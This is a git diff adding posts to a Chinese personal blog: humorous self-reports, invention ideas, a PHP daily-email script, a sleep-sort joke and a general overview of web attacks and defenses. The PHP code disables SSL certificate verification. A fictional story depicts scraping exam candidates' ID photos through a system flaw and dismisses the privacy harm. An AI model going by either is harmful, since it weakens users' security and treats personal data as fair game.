~~其实就是先装的Gitalk,懒癌犯了不想改给自己找个借口罢了,23333~~
|
56
_posts/2018-10-28-mos-reporter.md
Normal file
56
_posts/2018-10-28-mos-reporter.md
Normal file
@ -0,0 +1,56 @@
|
||||
---
|
||||
layout: post
|
||||
title: Mayx的自检报告
|
||||
tags: [Mayx,MOS]
|
||||
---
|
||||
|
||||
Mayx最近感觉自己有些问题,所以给自己编了一个自检报告……<!--more-->
|
||||
The Report is created by MOS
|
||||
## 什么是MOS
|
||||
>**创造MOS不是为了改变世界,而是防止世界改变自己**
|
||||
|
||||
不管怎么说,先介绍一下MOS吧。
|
||||
MOS(Mayx Operating System)是为了让Mayx更好的分析、处理和解决问题存在的一个类似于辅助系统的东西。
|
||||
但是自己创建的MOS我自己都解释不清~~(……我不想说什么……)~~
|
||||
接下来是我分析出来的MOS存在的理由:
|
||||
### 第一种解释
|
||||
大脑是一个很神奇的东西,进化了这么多年,总得有些高级的地方。其实人拥有着所想即所得的能力,但是受三观控制,这个能力并不能改变现实中的东西。虽然改变不了现实,自己总能改变吧……于是,为了更好的解决现在存在的问题,大脑根据宿主所拥有的知识自行创建了一个系统。然后被我命名为MOS。
|
||||
正是因为是大脑产生的系统,所以它没有代码,而且很容易出BUG。
|
||||
### 第二种解释
|
||||
MOS是一个用来解释我不能解释的东西的一个代替品,就如同UFO和人们定义的神一样,因为未知,而又需要一种解释的方法,于是出现了MOS。
|
||||
***
|
||||
## 正文
|
||||

|
||||
```
|
||||
MOS Log System has been Load.
|
||||
MOS Analysis System is Ready.
|
||||
OUTPUT Report to the real world.
|
||||
Ready...
|
||||
```
|
||||
### [OK]MOS - Core
|
||||
* 我还死不了![OK]
|
||||
|
||||
### [OK]BCS(Body Control System)
|
||||
* 感觉身体可以动[OK]
|
||||
* 眼皮还能睁开,不错,还活着[OK]
|
||||
|
||||
### [OK]MAS(MOS Analysis System)
|
||||
* 1+1=2[OK]
|
||||
* 我还能看懂我的[MaBBS](https://github.com/Mabbs/Mabbs)![OK]
|
||||
|
||||
### [Warning]MCS(Memory Control System)
|
||||
* 感觉忘记了很多很重要的东西……[Warning]
|
||||
* 想忘记的东西忘不了……有点烦……[OK]
|
||||
* 索引知识的能力比以前差了不少……[Warning]
|
||||
|
||||
### [ERROR]MMS(Mayx Mental System)
|
||||
* 如果不是MOS - Core还能正常工作,我就学Sayuri(From Doki Doki Literature Club)当晴天娃娃,或者学Miu(From Bungaku Shoujo)在房顶上大喊一声“你一定不懂吧”之类。[ERROR]
|
||||
* 感觉脑子里好乱,是不是应该多睡睡觉?[ERROR]
|
||||
|
||||
### [ERROR]MES(Mayx Emotion System)
|
||||
* WITHOUT MERCY![ERROR]
|
||||
* HUMAN SHOULD GO DIE!!!~~(是不是中二病又犯了?)~~[ERROR]
|
||||
* 在MMS恢复正常以前,还是别考虑这些了……
|
||||
|
||||
MOS OUTPUT PROCESS HAS BEEN HANGED
|
||||
该睡了,今天就先到这里吧。
|
95
_posts/2018-11-04-mayx-think.md
Normal file
95
_posts/2018-11-04-mayx-think.md
Normal file
@ -0,0 +1,95 @@
|
||||
---
|
||||
layout: post
|
||||
title: Mayx的创想
|
||||
tags: [Mayx, 创想]
|
||||
---
|
||||
|
||||
这里是Mayx发布创想的地方。<!--more-->
|
||||
有的时候,我会有一些想要发明的想法,但是经常忘记。现在为了防止忘记,我将在我的博客上更新我的创想。
|
||||
|
||||
# 关于减肥的创想
|
||||
人们希望减肥,一是为了健康,二是为了舒服,三是为了活动方便。
|
||||
但是减肥很痛苦,为什么?并不是因为减肥浪费时间,而是因为减肥会有糟糕的感觉回馈给大脑。
|
||||
不仅如此,越胖,减肥时越难受,越难受就越不想减肥,这样就会造成恶性循环。
|
||||
|
||||
## 解决的发明
|
||||
既然如此,那么我们只要让大脑不会感受到减肥时产生的糟糕的感觉,就可以解决这个问题了。
|
||||
可是如果没有大脑的参与,人怎么能控制自己的身体动起来呢?我有一个想法:
|
||||
首先通过麻醉的方式阻断大脑与身体的连接,然后使用电极的方式直接操控肌肉运动,大概感觉就是把麻醉的人绑在跑步机上,周围提供充足的氧气,然后电极按照跑步机
|
||||
的速度调整腿摆动的频率,这样就能在没有意识的情况下减肥了。
|
||||
直到减到运动并不会让人感到痛苦时就可以结束了。
|
||||
这种减肥方式比现有的节食,还是抖抖机,甚至是抽脂都要好得多,那些方案对身体的伤害很大,而且效果也并不好。这种方案如果可以使用,我一定要试试(笑)。
|
||||
|
||||
# 关于键盘和鼠标的创想
|
||||
既然那么多设计师设计出各种各样千奇百怪的键盘,那我干脆也设计一个好了
|
||||
|
||||
## 正文
|
||||
我希望有一种键盘,它和鼠标在一起,也就是说,鼠标不是随便可以移动的,而是固定在键盘上,一个巴掌正好可以握住的那种。不过这样设计,就得让左撇子和右撇子用不同的键盘了……无所谓,然后鼠标上有四个按钮,一个滚轮,按钮中两个是左键和右键,另外两个可以自定义。在鼠标下面有很多像扬声器一样的孔,用来给手散热。具体的运动方式可以参考一下TrackPoint,就是那个IBM发明的在ThinkPad的小红点。那个太小,控制起来精度也不高,那么我设计成更大的,握起来也会更舒服吧。
|
||||
键盘还是QWERTY的就好,我也习惯了,不过这次我想把QWERTY键盘改成单手式的,因为另外一只手被鼠标占用了,不过这样对专门打字的人有点不友好……无所谓。具体键盘使用什么技术,我这次不想谈。接下来就是鼠标和键盘的中间位置了,因为手被鼠标和键盘占用了,中间我不想弄太多控制的按钮,我希望弄点显示系统工作状态的东西,比如当前网速,当前内存占用,CPU占用等等……然后在中间弄一个大大的电源按钮,按下它,整个键盘的LED灯会随着系统的启动依次亮起,关机时依次熄灭。除了这些,我希望在键盘顶部设置调节亮度的杆,在键盘旁设置调节音量的杆,在键盘后面加一组USB Hub……
|
||||
键盘整体长什么样?很简单,我觉得弄成半弧形——就是在圆环上截下来一部分的那种东西一样。
|
||||
如果出了这种键盘,我会不会买呢?恐怕不会……原谅我设计不考虑性价比……但是我觉得这种键盘要是发明出来,应该会很受欢迎吧……
|
||||
|
||||
# 关于艾滋病的创想
|
||||
前几天(今天是2018-12-2)有一个新闻,说是“世界首例免疫艾滋病的基因编辑婴儿在中国诞生”。于是我就想起来之前我所想的一个如何让艾滋病患者生出正常的小孩。
|
||||
|
||||
## 正文
|
||||
首先,我们知道,HIV只会攻击T细胞,而感染AIDS后全身都是HIV病毒。那么可以想到,其实HIV不能攻击受精卵,那么只要在受精卵发育之前,让它脱离HIV的环境就好了。
|
||||
具体原理和试管婴儿和克隆有点像,就是把受精卵移到正常的代孕母亲上就可以了。而且也不能用得了AIDS人的母乳喂养,这样,我觉得应该就可以生出正常的孩子了。
|
||||
|
||||
## 疑点
|
||||
我不知道现在的人有没有水平在保留受精卵的同时消除HIV,如果不能,这样反倒会让代孕母亲感染AIDS……这可真是个问题……
|
||||
|
||||
# 关于暖气毯的创想
|
||||
最近学校通暖气了。我趴在暖气片上,突然想到,为什么不把暖气用在床上呢?
|
||||
|
||||
## 正文
|
||||
我觉得电热毯费电,而且又小(倒不是没有大的)……其实最主要的是我趴在暖气片上感觉很舒服lol。
|
||||
我想做一个毯子,里面有很多空腔,然后把暖气水通到这个毯子里,然后就可以利用暖气让床变暖了。
|
||||
|
||||
## 自我审查
|
||||
为什么没有这样的产品?我觉得可能是因为有暖气的人就用不着电热毯了,而用电热毯的人大多没有暖气,所以这个东西可能没有市场吧。
|
||||
不过可以暖被子啊lol...
|
||||
|
||||
# 关于Mayx音乐处理系统的创想
|
||||
在听音乐的时候(我听的音乐可以看作是DJ吧……),在头里就会浮现出一堆音轨和频谱之类的东西,于是我就想,能不能让机器把音乐中的音轨分离出来,这样既可以提高音质,又能方便编辑,而且也能加一些更有趣的东西……
|
||||
那么接下来这个音乐处理系统主要分为以下几块:
|
||||
|
||||
## Player
|
||||
首先在播放前解析歌曲,将音乐中的各种乐器声、人声、杂音都分离出来,得到几个音轨,然后将分析出来的音轨进行优化:比如钢琴谱用系统中更加高清的波表重制,根据实际体验除去杂音等等,最后合并音轨,这样就能得到更加清晰的音乐了。
|
||||
优点:
|
||||
1. 音乐更加清晰
|
||||
2. 可以根据波表自行更改音乐风格(有点像Remix?)
|
||||
3. 可以在提高音乐品质的同时减小音乐大小(类似于Midi,但是可以有人声和其他的声音)(当然得用特殊的文件格式,不是所有的音乐播放器都能播放)
|
||||
4. 处理得出的结果可以用于更多方面(接下来会说到)
|
||||
|
||||
缺点:
|
||||
1. 需要预处理,不能直接播放
|
||||
2. 有点担心波表的声音和现实中的乐器声区别太大
|
||||
|
||||
## Editor
|
||||
既然已经用Player将音轨拆分,那么就可以拿来编辑啦!
|
||||
当然不仅仅是这样,如果只是这样的话和其他的音乐编辑器有什么区别呢?
|
||||
这个音乐编辑器的优点是模块化,就如同Scratch一样,编辑音乐就和拼积木一样,让音痴也能轻易制作音乐!
|
||||
|
||||
## Other
|
||||
其他方面我还想过很多,比如可以用到人工智能提高用户体验之类的啦:
|
||||
|
||||
### 自动Remix、串烧系统
|
||||
根据用户听的音乐风格,可以将音乐Remix为用户喜欢的风格,而串烧则是将相似风格的音乐无缝穿插,我觉得以现在的科技水平应该是没有问题的吧……
|
||||
|
||||
### 全自动鬼畜系统
|
||||
将素材扔进去,首先把原音乐的人声分析出来,然后转换成注音,接下来在素材中找有相似注音的片段,自动剪辑,然后和优化后的伴奏合并,变成鬼畜视频。
|
||||
其实这样的话也可以把Vocaloid拉进来,就可以将任何一首歌转换为V家人员唱的歌了。
|
||||
这样也能大大减少做鬼畜的难度吧(我听说一般做鬼畜都要一个月……)
|
||||
|
||||
### 音游谱自动处理系统
|
||||
用解析出来的音轨转换为音游谱,这样自己喜欢的音乐就算没人制谱也可以玩了
|
||||
|
||||
### 自动编曲系统
|
||||
既然新闻、诗歌都可以由机器人编写,那么谱曲应该也一样简单吧!收集所有曲谱,通过人工智能与大数据,写出评价最高的音乐也是有可能的吧!
|
||||
|
||||
## Talk is cheap. Show me the code
|
||||
Are You Kidding Me?我一个菜鸡哪有本事写这么高级的代码,让大佬来写吧!(产品经理的思维)
|
||||
|
||||
---
|
||||
(未完待续)
|
135
_posts/2018-11-10-email-sender.md
Normal file
135
_posts/2018-11-10-email-sender.md
Normal file
@ -0,0 +1,135 @@
|
||||
---
|
||||
layout: post
|
||||
title: 免费订阅一个属于自己的邮件日报
|
||||
tags: [免费, 邮件, 日报, 心得]
|
||||
---
|
||||
|
||||
前几天,我给自己做了一个邮件订阅系统<!--more-->,是用PHP做的。这里不得不夸赞一下PHP,PHP真不愧是世界上最好的语言,我从来没学过PHP,但是我光靠百度搜到
|
||||
的东西拼凑就能搞出这个邮件订阅系统,还是很不错的,而且网上的免费PHP空间也有很多,所以就可以很轻易的给自己搞一个免费的邮件订阅系统。
|
||||
|
||||
# 制作方法
|
||||
很简单,首先去百度上搜一个带sendmail和CronTab的免费PHP主机空间,然后在上面创建一个PHP文件,随便取什么名字都好,只要后缀是PHP就可以,然后把下面的代码
|
||||
粘上去,保存,然后在主机面板上设置CornTab任务,设定为每天运行一次,然后OK……对了,记得把下面变量`$to`里面的地址换成自己的邮箱地址,不然每次发送邮件就会发
|
||||
到我的邮箱了……
|
||||
|
||||
# 代码
|
||||
``` PHP
|
||||
<?php
|
||||
function curl_post_https($url,$data){ // 模拟提交数据函数
|
||||
$curl = curl_init(); // 启动一个CURL会话
|
||||
curl_setopt($curl, CURLOPT_URL, $url); // 要访问的地址
|
||||
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); // 对认证证书来源的检查
|
||||
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 1); // 从证书中检查SSL加密算法是否存在
|
||||
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); // 使用自动跳转
|
||||
curl_setopt($curl, CURLOPT_AUTOREFERER, 1); // 自动设置Referer
|
||||
curl_setopt($curl, CURLOPT_POST, 1); // 发送一个常规的Post请求
|
||||
curl_setopt($curl, CURLOPT_POSTFIELDS, $data); // Post提交的数据包
|
||||
curl_setopt($curl, CURLOPT_TIMEOUT, 30); // 设置超时限制防止死循环
|
||||
curl_setopt($curl, CURLOPT_HEADER, 0); // 显示返回的Header区域内容
|
||||
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); // 获取的信息以文件流的形式返回
|
||||
$tmpInfo = curl_exec($curl); // 执行操作
|
||||
if (curl_errno($curl)) {
|
||||
echo 'Errno'.curl_error($curl);//捕抓异常
|
||||
}
|
||||
curl_close($curl); // 关闭CURL会话
|
||||
$backdata = json_decode($tmpInfo,true);
|
||||
return $backdata['text']; // 返回数据,json格式
|
||||
}
|
||||
function w_get(){
|
||||
$url = 'https://yuri.gear.host/talk.php';
|
||||
$data['info'] = '某地天气';
|
||||
$data['userid'] = 'Mayx_Mail';
|
||||
$retdata=curl_post_https($url,$data);
|
||||
$data['info'] = '某地明天天气';
|
||||
$retdata = $retdata . "<br>" .curl_post_https($url,$data);
|
||||
$data['info'] = '某地后天天气';
|
||||
$retdata=$retdata . "<br>" .curl_post_https($url,$data);
|
||||
return $retdata;//返回json
|
||||
}
|
||||
function xh_get(){
|
||||
$url = 'https://yuri.gear.host/talk.php';
|
||||
$data['info'] = '讲个笑话';
|
||||
$data['userid'] = 'Mayx_Mail';
|
||||
$retdata=curl_post_https($url,$data);
|
||||
return $retdata;//返回json
|
||||
}
|
||||
function xw_get(){
|
||||
//RSS源地址列表数组
|
||||
$rssfeed = array("http://www.people.com.cn/rss/it.xml");
|
||||
|
||||
for($i=0;$i<sizeof($rssfeed);$i++){//分解开始
|
||||
$buff = "";
|
||||
$rss_str="";
|
||||
//打开rss地址,并读取,读取失败则中止
|
||||
$fp = fopen($rssfeed[$i],"r") or die("can not open $rssfeed");
|
||||
while ( !feof($fp) ) {
|
||||
$buff .= fgets($fp,4096);
|
||||
}
|
||||
//关闭文件打开
|
||||
fclose($fp);
|
||||
|
||||
//建立一个 XML 解析器
|
||||
$parser = xml_parser_create();
|
||||
//xml_parser_set_option -- 为指定 XML 解析进行选项设置
|
||||
xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,1);
|
||||
//xml_parse_into_struct -- 将 XML 数据解析到数组$values中
|
||||
xml_parse_into_struct($parser,$buff,$values,$idx);
|
||||
//xml_parser_free -- 释放指定的 XML 解析器
|
||||
xml_parser_free($parser);
|
||||
$j = 0;
|
||||
foreach ($values as $val) {
|
||||
$tag = $val["tag"];
|
||||
$type = $val["type"];
|
||||
$value = $val["value"];
|
||||
//标签统一转为小写
|
||||
$tag = strtolower($tag);
|
||||
|
||||
if ($tag == "item" && $type == "open"){
|
||||
$is_item = 1;
|
||||
}else if ($tag == "item" && $type == "close") {
|
||||
//构造输出字符串
|
||||
$rss_str .= "<a href='".$link."' target=_blank>".$title."</a><br />";
|
||||
$j++;
|
||||
$is_item = 0;
|
||||
}
|
||||
//仅读取item标签中的内容
|
||||
if($is_item==1){
|
||||
if ($tag == "title") {$title = $value;}
|
||||
if ($tag == "link") {$link = $value;}
|
||||
}
|
||||
if($j == 20){
|
||||
break;
|
||||
}
|
||||
}
|
||||
//输出结果
|
||||
return $rss_str."<br />";
|
||||
}
|
||||
}
|
||||
$to = "mayx@outlook.com , unmayx@139.com";
|
||||
$subject = "Mayx日报";
|
||||
$txt = "
|
||||
<html>
|
||||
<body>
|
||||
<h1>Mayx日报</h1><hr>Hi,今天是" . date("Y-m-d") . ",以下是今天的日报:<br><small>
|
||||
" . file_get_contents("http://mappi.000webhostapp.com/hitokoto/") . "</small>
|
||||
<h2>天气预报</h2>" . w_get() . "<h2>每日笑话</h2>" . xh_get() . "<h2>今日新闻</h2>" . xw_get() . "<hr><small>" . file_get_contents("https://api.gushi.ci/all.txt") . "</small><br><center>Made By <a href=\"https://mabbs.github.io\">Mayx</a></center>
|
||||
</body>
|
||||
</html>
|
||||
";
|
||||
$headers = "MIME-Version: 1.0" . "\r\n" .
|
||||
"Content-type: text/html;charset=utf-8" . "\r\n" .
|
||||
"From: Mayx_Daily<Mayx_Site>";
|
||||
|
||||
mail($to,$subject,$txt,$headers);
|
||||
?>
|
||||
```
|
||||
(2018.11.12更新:增加了今日新闻)
|
||||
(2018.11.13更新:限制新闻条数为前20条)
|
||||
|
||||
# 后记
|
||||
说实话,我更擅长用Linux Shell解决这种问题,可惜网上好像没有免费的云主机,听说Travis-CI好像也能搞这个事情,但是说实话,我英语并不是很好,让我看懂短一点的文档还可以,太长的就算了……
|
||||
但我还是努力的使用Travis-CI解决了这个问题,链接:[Mayx日报](https://mayx.tk/)
|
||||
对了,运营商自己带的邮箱可以设定短信提醒,所以也可以搞成给手机发短信的形式,每天给自己发一条天气预报……那么这样的话,就把天气预报里的城市换成自己的城市吧!
|
||||
如果没有收到邮件,去垃圾邮件找找吧,然后把邮件地址设为白名单。
|
||||
如果谁想试试这个功能,可以在下面给我留言,我在验证通过后会把你加到我的服务器里面的。
|
||||
|
28
_posts/2018-12-02-freenet.md
Normal file
28
_posts/2018-12-02-freenet.md
Normal file
@ -0,0 +1,28 @@
|
||||
---
|
||||
layout: post
|
||||
title: 对网络免费资源的感想
|
||||
tags: [免费, 感想, 资源, 网络]
|
||||
---
|
||||
|
||||
现在的网络是真的好,好多东西都免费了!可是现实就不一样了,现实中想要免费的(任意)东西就得等到共产主义的到来了……<!--more-->
|
||||
|
||||
# 关于免费
|
||||
|
||||
以前,服务器是只有高端人士才可使用的稀有东西,而且价格昂贵。
|
||||
以前,订阅天气预报和网站都是要花不少钱的。
|
||||
以前,建立个人网站都是极其复杂的。
|
||||
以前,域名不可能有免费的。
|
||||
……
|
||||
|
||||
但是现在不一样了,云端存储是免费的,建立网站是免费的,注册域名是免费的,使用网站引擎也是免费的……
|
||||
这不仅要感谢开源,还要感谢支持开源的公司,是他们为免费的网络资源做出了贡献。
|
||||
|
||||
# 关于收费
|
||||
有了那么多免费资源,还要花钱建服务器干啥?
|
||||
以前我不是很清楚这个,但是现在不一样了,我现在用着别人的服务器,才知道收费的服务有什么不一样。
|
||||
收费的主机传输速度可以达到50MB/s啊!免费的就只有100KB/s……
|
||||
|
||||
# 总结
|
||||
有钱可以不用在意这些,但只是为了个人使用,免费资源足已,如果想要更顺畅的服务,当然花钱也可以。
|
||||
|
||||
~~但是这辈子,我是不会为网络投一分钱的。~~不过我还是很愿意为网络做出贡献的。
|
66
_posts/2018-12-22-story.md
Normal file
66
_posts/2018-12-22-story.md
Normal file
@ -0,0 +1,66 @@
|
||||
---
|
||||
layout: post
|
||||
title: 论Mayx是怎么被抓的
|
||||
tags: [Mayx, 故事]
|
||||
---
|
||||
|
||||
今天我要讲一个我是怎么被抓走的故事(当然是虚构的!),以此表现一下互联网犯罪到底是怎么被追查的。<!--more-->
|
||||
|
||||
# 开端
|
||||
|
||||
Mayx在高考报名时发现报名系统有个不严谨的地方,可以下到身份证照片什么的……
|
||||
|
||||
# 前夕
|
||||
|
||||
2018年末,宁夏教育网机房。
|
||||
“好无聊啊,居然又到了日常检查的时间,随便看看就行了吧” 某运维这么说到(说实话,我怀疑像这种地方,有可能没有运维lol)
|
||||
“嗯……系统看起来挺正常,日志好像也没问题……等等,这是怎么回事?怎么近几天有一个IP日夜不停的发请求?What?UA还是GNU/Linux,wget?这抓取的是什么?居然
|
||||
在扫描我们的身份证照片?WTF?”(哈,我估计教育网的运维应该连这种水平估计都达不到)
|
||||
“等等,我查下IP”他随手掏出自己的手机,输入IP查询,返回结果:香港
|
||||
“凉了凉了,赶紧向领导汇报吧”说着,他拨出了一个号码。
|
||||
|
||||
***
|
||||
|
||||
2018年末,某地。
|
||||
“哇,GFW怎么又ban我IP,登个服务器还要挂VPN?”Mayx说到。
|
||||
“WTF?被GFWban了连国内网络都无法建立连接,好气哦……对了,我还有一台服务器,拿那台试试吧。”说着就登上了由Mayx的老师赞助的一台服务器
|
||||
Mayx登上服务器后打开了自己写的抓取宁夏考生身份证照片的脚本,看着终端上不断刷出的数据,Mayx松了口气
|
||||
|
||||
# 发展
|
||||
|
||||
“什么?考生信息泄露,别说了,问问网警吧”领导气愤的说到。
|
||||
|
||||
## 网警的追查过程
|
||||
|
||||
~~“emmmm……阿里云的IP么,直接问是谁开的吧”于是Mayx的老师被抓走了……(大雾)~~
|
||||
~~“嗯?Vultr的IP……emmmm看看国内有谁连接过这个IP?嗯?电信网?是1XXXXXXXXXX的用户登的吗?好,把他抓了!”于是Mayx被抓了(大雾)~~
|
||||
经过多方讨论,认定这件事是Mayx干的
|
||||
|
||||
## 抓捕现场
|
||||
|
||||
2018年末,某高中高三X班,正在上课中……
|
||||
|
||||
他们突然冲进教室,喊道:“Mayx,你已经被包围了,不要抵抗,赶快投降!”
|
||||
~~Mayx缓缓的走出教室,回过头向同学们说:“你们将永远呆在泥潭中,而我,则前往更加广阔的深渊”(羞耻感满满lol)~~
|
||||
|
||||
# 结局
|
||||
|
||||
Mayx呆在监狱里,随手一滑打开了一个终端,输入:
|
||||
|
||||
`MOS-CLI Drop Image World ID $this`
|
||||
|
||||
于是整个世界开始崩离,我回到了我的电脑面前。
|
||||
|
||||
# 后记
|
||||
|
||||
其实身份证照片也并不算特别机密的东西,不过是一个记录了名字,身份证号码,性别,样貌这样很普通信息的东西罢了,没有人会在意这些信息泄露。
|
||||
只有包括家庭住址,联系电话等信息泄露,才是隐私泄露。
|
||||
又因为宁夏某些程序员不严谨,运维更是无处可循。
|
||||
所以,上面的故事只能在想象的世界发生。
|
||||
|
||||
## 这些信息可以干什么?
|
||||
|
||||
可以让我知道有宁夏有多少人报名了高考:70693人
|
||||
可以让我知道报名的人分布于哪里。
|
||||
以及起名的参考。
|
||||
顺便可以找找我的初中同学lol。
|
20
_posts/2018-12-28-newdomain.md
Normal file
20
_posts/2018-12-28-newdomain.md
Normal file
@ -0,0 +1,20 @@
|
||||
---
|
||||
layout: post
|
||||
title: Mayx的博客换域名啦
|
||||
tags: [Mayx, 通告]
|
||||
---
|
||||
|
||||
由于垃圾GFWban了我的Github Pages,所以我用反向代理来帮助我解决访问的问题。<!--more-->
|
||||
|
||||
# 地址
|
||||
<https://blog.mayx.tk/>
|
||||
|
||||
# 提供
|
||||
由[Github](//github.com)提供Github Pages服务
|
||||
由[Cloudflare](//cloudflare.com)提供CDN&DNS服务
|
||||
由[花火学园](//www.say-huahuo.com)提供反向代理服务
|
||||
由[Freenom](//www.freenom.com)提供免费域名
|
||||
|
||||
# 缺陷
|
||||
由于Nginx默认不能替换网页内容,跟着教程也半天弄不好,所以Atom和Sitemap包括一些SEO的设置都是原站(mabbs.github.io)的,这一点很伤啊……
|
||||
还有就是因为用的是免费域名,也不知会不会有一天就消失不见了……而且还要续费……
|
17
_posts/2019-01-11-github.md
Normal file
17
_posts/2019-01-11-github.md
Normal file
@ -0,0 +1,17 @@
|
||||
---
|
||||
layout: post
|
||||
title: Github支持免费私有仓库啦
|
||||
tags: [Github, 免费]
|
||||
---
|
||||
|
||||
Github居然也有免费的私有仓库了<!--more-->,于是我马上就把Gitlab上的私有仓库导入到Github了。
|
||||
|
||||
看来Github被微软买了还是有好处的,至少微软财大气粗才敢搞这种东西。虽然Github本身也没有空间限制,也很不错,但是有些东西还是不想公开的……现在有这么一个
|
||||
更新,估计搬往Gitlab的人都开始往Github上搬了
|
||||
|
||||
# 限制
|
||||
其实Gitlab本身还是蛮不错的,Gitlab还有中文UI呢,而且比Github免费私有仓库的功能多,比如私有仓库Pages、CI、Wiki……,而且Github私有仓库居然连统计信息都没有……
|
||||
不过我用不到23333,Github界面舒适,速度快,适合小白使用,而且能和其他大佬聊天~~(不愧是世界上最大的同性交友平台)~~
|
||||
Github只有公开仓库才有CI(还是第三方的Travis-CI)、Pages、Wiki,不过我觉得也不错,还能激励开源的发展,而且Github的第三方服务确实多,所以我还是选择使用Github。
|
||||
|
||||
相关链接:<https://blog.github.com/2019-01-07-new-year-new-github/>
|
26
_posts/2019-01-27-shell.md
Normal file
26
_posts/2019-01-27-shell.md
Normal file
@ -0,0 +1,26 @@
|
||||
---
|
||||
layout: post
|
||||
title: Mayx应聘失败
|
||||
tags: [应聘, Shell, 运维, 面向时间]
|
||||
---
|
||||
|
||||
今天,Mayx去某公司面试运维,然后考官出了一道题:
|
||||
如何用Linux shell排序?<!--more-->
|
||||
|
||||
Mayx想了想,写出了以下代码:
|
||||
```shell
|
||||
#!/bin/sh
|
||||
num="4 5 1 9 3 6 7 4 1 12"
|
||||
for j in $num
|
||||
do
|
||||
{
|
||||
sleep $j
|
||||
printf "$j "
|
||||
}&
|
||||
done
|
||||
wait
|
||||
```
|
||||
执行效果:`1 1 3 4 4 5 6 7 9 12`
|
||||
然后,Mayx被赶出来了……
|
||||
我写的代码明明可以执行,效果也没问题,居然赶我出来,这一定是个垃圾公司!
|
||||
后来才知道,他们想让我回答`sort`,果然是垃圾公司(笑)
|
3259
_posts/2019-02-01-history.md
Normal file
3259
_posts/2019-02-01-history.md
Normal file
File diff suppressed because it is too large
Load Diff
39
_posts/2019-02-07-paradise.md
Normal file
39
_posts/2019-02-07-paradise.md
Normal file
@ -0,0 +1,39 @@
|
||||
---
|
||||
layout: post
|
||||
title: 玩《Finding Paradise》有感
|
||||
tags: [Finding Paradise, 寻找天堂, MOS]
|
||||
---
|
||||
|
||||
其实这篇博客根本不是评测,只是对自己的寂寞吐槽罢了。<!--more-->
|
||||
|
||||
昨天玩了《Finding Paradise》,总体来说,故事还是很有意思的。不过我玩的作品并不是很多,所以也许这个游戏可能并不是特别优秀,但是我仍然喜欢这款游戏。
|
||||
# 游戏介绍
|
||||
~~(介绍?自己去搜索引擎上找啊!)~~
|
||||
|
||||
# 感受
|
||||
Mayx:emmmm,MOS!
|
||||
`STDOUT:Yes,Sir!`
|
||||
Mayx:我也想要个Faye,给我搞一个!
|
||||
`STDOUT:嗯?我不算吗?`
|
||||
Mayx:当然不算,你又不是独立思维个体,只是为了辅助我思考的一个UI罢了,你又不能陪我一起聊天,不能一起分享我(们)的感受,不能排解我的寂寞……
|
||||
`STDOUT:行行行,那你准备一个本子吧,绿皮的怎么样?`
|
||||
Mayx:……不想写日记……博客不行吗?
|
||||
`STDOUT:……好吧……让我准备一下。`
|
||||
```
|
||||
[STDOUT]启动MOS快照........................OK!
|
||||
[STDOUT]开始建立当前MOS状态快照。
|
||||
[STDOUT]准备MOS虚拟化组件..................OK!
|
||||
[STDOUT]正在创建MOS副本....................OK!
|
||||
[STDOUT]启动虚拟化MOS系统...............Error!
|
||||
[STDERR]无法启动该MOS副本,ErrCode:0x01
|
||||
[STDERR]该副本无效,请确认这是有效的可执行系统。
|
||||
```
|
||||
`STDOUT:……好像不行……你大概还没有准备好……`
|
||||
Mayx:准备好什么?
|
||||
`STDOUT:……准备好犯病`
|
||||
Mayx:……
|
||||
`>MOS-CLI Terminate MOS-UI`
|
||||
`[STDERR]System Terminate`
|
||||
……
|
||||
|
||||
看来依靠自己不行啊,人果然是社交性的动物,emmmm……算了,不依靠人类了,我自己想办法犯病!~~(我看你已经犯病了23333)~~
|
38
_posts/2019-02-17-break.md
Normal file
38
_posts/2019-02-17-break.md
Normal file
@ -0,0 +1,38 @@
|
||||
---
|
||||
layout: post
|
||||
title: 关于网络攻防的一些看法
|
||||
tags: [网络, 攻击, 防御]
|
||||
---
|
||||
|
||||
今天我想谈一谈关于网络攻防的一些看法。<!--more-->
|
||||
|
||||
作为一个站长【就几个站也敢叫站长?(几个站也是站啊!)】,应该明白一个网站在网络中并不是安全的,随时都有可能某个欧洲人找到你网站的漏洞来攻击作为非洲人的你,所以我对网站的安全也是很看重的。
|
||||
|
||||
# 关于攻击方法
|
||||
首先如果想防御网络攻击,必须先知道如何攻击。攻击的方法很多,大致分为三种:
|
||||
1. 修改网站内容的攻击
|
||||
2. 阻止用户访问的攻击
|
||||
3. 窃取网站内容的攻击
|
||||
|
||||
在此之中,修改和窃取基本上都需要攻入服务器,比较困难,一般能获取信息和修改信息的网站大多数都是有权限限制的,即只允许你获取有限的信息,修改基本上也都是有区域和格式限制的。
|
||||
像这类攻击大多都是注入攻击,即利用网站程序本身的漏洞攻击。如果想试试这类的攻击,可以来[实验吧](http://www.shiyanbar.com/ctf/practice)试试身手。
|
||||
除了注入攻击,还有一种就是XSS和CSRF攻击,这种攻击还是蛮有意思的,可以自己构建语句修改网站内容。
|
||||
当然上述攻击只限于动态网站的攻击,因为只有动态网站才有注入的可能性。不过除此之外,还有一种攻击是针对网络的攻击,即阻止用户访问正确内容的攻击,这类攻击一般就是DDOS和中间人攻击,当然,中间人攻击还能窃取网站内容。
|
||||
不过像我这种菜鸡,还不会中间人攻击,因为这种攻击还要抓包,又要用什么WireShark之类的软件……而DDOS我又没有肉鸡,虽然知道智能家居很好黑,但是作为非洲人的我从来没碰到一个我能黑的智能家居产品……(是你没努力吧!)
|
||||
|
||||
# 如何防御?
|
||||
虽然我不是打广告,但是CloudFlare真的还是蛮好用的,至少用了这个,只要配置好,几乎所有的DDOS都不用怕了,而且还是免费的。除了在国内访问不是很理想外,其他都还不错(都是ZF的错!)
|
||||
不过即使用了CloudFlare,也只是静态网站不用担心了,动态网站还是得看网站程序本身了。
|
||||
像用建站程序的人就只能看制作这个程序的人水平怎么样了,其实绝大多数的建站程序还是很不错的,也不用太担心。
|
||||
问题就是自己写的动态网站了,自己写动态网站第一就是防注入,只要被注入,数据库就难保了,甚至整个服务器都会有风险。
|
||||
第二就是防XSS&CSRF,XSS虽然有时候很鸡肋,但是有时有可能会发生网站数据泄露的问题。
|
||||
第三就是防CC,这里的CC不止要防DDOS中的CC,还要防一些可能会存入数据库的CC,比如自己建了一个论坛,被屠版了怎么办?被大量注册小号怎么办?所以要注意限制用户发送请求的数量。
|
||||
